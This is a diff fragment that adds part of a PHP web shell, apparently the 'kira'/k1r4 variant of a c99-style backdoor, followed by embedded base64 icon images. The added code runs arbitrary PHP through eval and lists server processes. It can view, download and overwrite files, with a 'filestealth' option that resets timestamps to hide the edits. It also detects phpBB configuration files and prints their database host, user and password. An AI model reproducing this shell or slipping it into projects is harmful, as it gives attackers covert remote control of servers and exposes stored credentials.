+ $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
+ $line[2] = intval(str_replace(" ","",$line[2]))*1024;
+ $prcs[] = $line;
+ echo " ";
+ }
+ }
+ }
+ $head[$k] = "".$head[$k]." ".$y;
+ $v = $processes_sort[0];
+ usort($prcs,"tabsort");
+ if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
+ $tab = array();
+ $tab[] = $head;
+ $tab = array_merge($tab,$prcs);
+ echo "";
+ foreach($tab as $i=>$k)
+ {
+ echo "";
+ foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "".$v." ";}
+ echo " ";
+ }
+ echo "
";
+ }
+}
+if ($act == "eval")
+{
+ if (!empty($eval))
+ {
+ echo "Result of execution this PHP-code : ";
+ $tmp = ob_get_contents();
+ $olddir = realpath(".");
+ @chdir($d);
+ if ($tmp)
+ {
+ ob_clean();
+ eval($eval);
+ $ret = ob_get_contents();
+ $ret = convert_cyr_string($ret,"d","w");
+ ob_clean();
+ echo $tmp;
+ if ($eval_txt)
+ {
+ $rows = count(explode("\r\n",$ret))+1;
+ if ($rows < 10) {$rows = 10;}
+ echo "".htmlspecialchars($ret)." ";
+ }
+ else {echo $ret." ";}
+ }
+ else
+ {
+ if ($eval_txt)
+ {
+ echo "";
+ eval($eval);
+ echo " ";
+ }
+ else {echo $ret;}
+ }
+ @chdir($olddir);
+ }
+ else {echo "Execution PHP-code "; if (empty($eval_txt)) {$eval_txt = TRUE;}}
+ echo "".htmlspecialchars($eval)." Display in text-area ";
+}
+if ($act == "f")
+{
+ if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
+ {
+ if (file_exists($d.$f)) {echo "Permision denied (".htmlspecialchars($d.$f).")! ";}
+ else {echo "File does not exists (".htmlspecialchars($d.$f).")! Create ";}
+ }
+ else
+ {
+ $r = @file_get_contents($d.$f);
+ $ext = explode(".",$f);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $rft = "";
+ foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
+ if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
+ if (empty($ft)) {$ft = $rft;}
+ $arr = array(
+ array(" ","info"),
+ array(" ","html"),
+ array(" ","txt"),
+ array("Code","code"),
+ array("Session","phpsess"),
+ array(" ","exe"),
+ array("SDB","sdb"),
+ array(" ","img"),
+ array(" ","ini"),
+ array(" ","download"),
+ array(" ","notepad"),
+ array(" ","edit")
+ );
+ echo "Viewing file: ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)." Select action/file-type: ";
+ foreach($arr as $t)
+ {
+ if ($t[1] == $rft) {echo " ".$t[0]." ";}
+ elseif ($t[1] == $ft) {echo " ".$t[0]." ";}
+ else {echo " ".$t[0]." ";}
+ echo " (+ ) |";
+ }
+ echo " ";
+ if ($ft == "info")
+ {
+ echo "Information: Path ".$d.$f." Size ".view_size(filesize($d.$f))." MD5 ".md5_file($d.$f)." ";
+ if (!$win)
+ {
+ echo "Owner/Group ";
+ $ow = posix_getpwuid(fileowner($d.$f));
+ $gr = posix_getgrgid(filegroup($d.$f));
+ echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
+ }
+ echo " Perms ".view_perms_color($d.$f)." Create time ".date("d/m/Y H:i:s",filectime($d.$f))." Access time ".date("d/m/Y H:i:s",fileatime($d.$f))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."
";
+ $fi = fopen($d.$f,"rb");
+ if ($fi)
+ {
+ if ($fullhexdump) {echo "FULL HEXDUMP "; $str = fread($fi,filesize($d.$f));}
+ else {echo "HEXDUMP PREVIEW "; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
+ $n = 0;
+ $a0 = "00000000 ";
+ $a1 = "";
+ $a2 = "";
+ for ($i=0; $i";}
+ $a1 .= " ";
+ $a2 .= " ";
+ }
+ }
+ //if ($a1 != "") {$a0 .= sprintf("%08X",$i)." ";}
+ echo " ";
+ }
+ $encoded = "";
+ if ($base64 == 1)
+ {
+ echo "Base64 Encode ";
+ $encoded = base64_encode(file_get_contents($d.$f));
+ }
+ elseif($base64 == 2)
+ {
+ echo "Base64 Encode + Chunk ";
+ $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
+ }
+ elseif($base64 == 3)
+ {
+ echo "Base64 Encode + Chunk + Quotes ";
+ $encoded = base64_encode(file_get_contents($d.$f));
+ $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
+ }
+ elseif($base64 == 4)
+ {
+ $text = file_get_contents($d.$f);
+ $encoded = base64_decode($text);
+ echo "Base64 Decode";
+ if (base64_encode($encoded) != $text) {echo " (failed)";}
+ echo " ";
+ }
+ if (!empty($encoded))
+ {
+ echo "".htmlspecialchars($encoded)." ";
+ }
+ echo "HEXDUMP: [Full ] [Preview ]Base64:
+[Encode ]
+[+chunk ]
+[+chunk+quotes ]
+[Decode ]
+";
+ }
+ elseif ($ft == "html")
+ {
+ if ($white) {@ob_clean();}
+ echo $r;
+ if ($white) {k1r4exit();}
+ }
+ elseif ($ft == "txt") {echo "
".htmlspecialchars($r)." ";}
+ elseif ($ft == "ini") {echo ""; var_dump(parse_ini_file($d.$f,TRUE)); echo " ";}
+ elseif ($ft == "phpsess")
+ {
+ echo "";
+ $v = explode("|",$r);
+ echo $v[0]." ";
+ var_dump(unserialize($v[1]));
+ echo " ";
+ }
+ elseif ($ft == "exe")
+ {
+ $ext = explode(".",$f);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $rft = "";
+ foreach($exeftypes as $k=>$v)
+ {
+ if (in_array($ext,$v)) {$rft = $k; break;}
+ }
+ $cmd = str_replace("%f%",$f,$rft);
+ echo "Execute file: Display in text-area ";
+ }
+ elseif ($ft == "sdb") {echo ""; var_dump(unserialize(base64_decode($r))); echo " ";}
+ elseif ($ft == "code")
+ {
+ if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
+ {
+ $arr = explode("\n",$r);
+ if (count($arr == 18))
+ {
+ include($d.$f);
+ echo "phpBB configuration is detected in this file! ";
+ if ($dbms == "mysql4") {$dbms = "mysql";}
+ if ($dbms == "mysql") {echo "Connect to DB ";}
+ else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by kira. Please, report us for fix.";}
+ echo "Parameters for manual connect: ";
+ $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
+ foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."' ";}
+ echo " ";
+ }
+ }
+ echo "";
+ if (!empty($white)) {@ob_clean();}
+ highlight_file($d.$f);
+ if (!empty($white)) {k1r4exit();}
+ echo "
";
+ }
+ elseif ($ft == "download")
+ {
+ @ob_clean();
+ header("Content-type: application/octet-stream");
+ header("Content-length: ".filesize($d.$f));
+ header("Content-disposition: attachment; filename=\"".$f."\";");
+ echo $r;
+ exit;
+ }
+ elseif ($ft == "notepad")
+ {
+ @ob_clean();
+ header("Content-type: text/plain");
+ header("Content-disposition: attachment; filename=\"".$f.".txt\";");
+ echo($r);
+ exit;
+ }
+ elseif ($ft == "img")
+ {
+ $inf = getimagesize($d.$f);
+ if (!$white)
+ {
+ if (empty($imgsize)) {$imgsize = 20;}
+ $width = $inf[0]/100*$imgsize;
+ $height = $inf[1]/100*$imgsize;
+ echo "Size: ";
+ $sizes = array("100","50","20");
+ foreach ($sizes as $v)
+ {
+ echo "";
+ if ($imgsize != $v ) {echo $v;}
+ else {echo "".$v." ";}
+ echo " ";
+ }
+ echo " ";
+ }
+ else
+ {
+ @ob_clean();
+ $ext = explode($f,".");
+ $ext = $ext[count($ext)-1];
+ header("Content-type: ".$inf["mime"]);
+ readfile($d.$f);
+ exit;
+ }
+ }
+ elseif ($ft == "edit")
+ {
+ if (!empty($submit))
+ {
+ if ($filestealth) {$stat = stat($d.$f);}
+ $fp = fopen($d.$f,"w");
+ if (!$fp) {echo "Can't write to file! ";}
+ else
+ {
+ echo "Saved! ";
+ fwrite($fp,$edit_text);
+ fclose($fp);
+ if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
+ $r = $edit_text;
+ }
+ }
+ $rows = count(explode("\r\n",$r));
+ if ($rows < 10) {$rows = 10;}
+ if ($rows > 30) {$rows = 30;}
+ echo " ".htmlspecialchars($r)." ";
+ }
+ elseif (!empty($ft)) {echo "Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS. ";}
+ else {echo "Unknown extension (".$ext."), please, select type manually. ";}
+ }
+}
+}
+else
+{
+ @ob_clean();
+ $images = array(
+"arrow_ltr"=>
+"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
+"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
+"back"=>
+"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
+"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
+"Wg0JADs=",
+"buffer"=>
+"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
+"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
+"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
+"change"=>
+"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
+"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
+"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
+"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
+"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
+"zMshADs=",
+"delete"=>
+"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
+"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
+"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
+"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
+"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
+"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
+"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
+"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
+"jwVFHBgiEGQFIgQasYkcSbJQIAA7",
+"download"=>
+"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
+"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
+"forward"=>
+"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
+"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
+"WqsJADs=",
+"home"=>
+"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
+"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
+"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
+"mode"=>
+"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
+"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
+"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
+"refresh"=>
+"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA".
+"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY".
+"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ".
+"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=",
+"search"=>
+"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
+"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
+"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
+"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
+"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
+"setup"=>
+"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
+"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
+"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
+"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
+"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
+"small_dir"=>
+"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
+"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
+"small_unk"=>
+"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
+"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
+"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
+"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
+"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
+"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
+"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
+"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
+"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
+"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
+"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
+"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
+"yAsokBkQADs=",
+"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
+"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
+"sort_asc"=>
+"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
+"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
+"sort_desc"=>
+"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
+"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
+"sql_button_drop"=>
+"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
+"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
+"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
+"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
+"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
+"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
+"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
+"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
+"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
+"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
+"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
+"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
+"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
+"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
+"AQEAOw==",
+"sql_button_empty"=>
+"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
+"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
+"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
+"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
+"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
+"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
+"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
+"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
+"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
+"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
+"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
+"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
+"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
+"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
+"sql_button_insert"=>
+"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
+"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
+"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
+"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
+"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
+"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
+"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
+"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
+"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
+"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
+"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
+"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
+"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
+"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
+"up"=>
+"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
+"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
+"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
+"write"=>
+"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
+"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
+"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
+"ext_asp"=>
+"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
+"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
+"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
+"ext_mp3"=>
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
+"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
+"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
+"ext_avi"=>
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
+"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
+"PYXCyg+V2i44XeRmSfYqsGhAAgA7",
+"ext_cgi"=>
+"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
+"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
